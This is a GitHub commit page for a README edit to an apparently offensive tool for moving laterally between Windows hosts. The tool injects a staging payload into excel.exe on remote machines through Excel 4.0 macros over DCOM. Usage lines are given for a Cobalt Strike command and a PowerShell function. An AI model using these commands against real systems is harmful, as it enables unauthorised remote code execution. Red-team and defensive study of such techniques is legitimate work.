Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
stanhegt authored Mar 26, 2019
1 parent 859ac2b commit a08f987
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,10 +8,12 @@ It turns out that Excel 4.0 macros are also exposed to DCOM via the ExecuteExcel

## Usage
**Cobalt Strike version**

`Excel4-DCOM <targethost> <listener>`
This will inject a x86 staging payload into excel.exe on the target host. Make sure to execute this from a 32 bit beacon (which can be running on a 64 bit system).

**PowerShell version**

`Invoke-Excel4DCOM -ComputerName <target> -Payload <payload location>`
This will inject a x86 staging payload into excel.exe on the target host. Make sure to execute this from a 32 bit PowerShell host (%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe).

Expand Down

0 comments on commit a08f987

Please sign in to comment.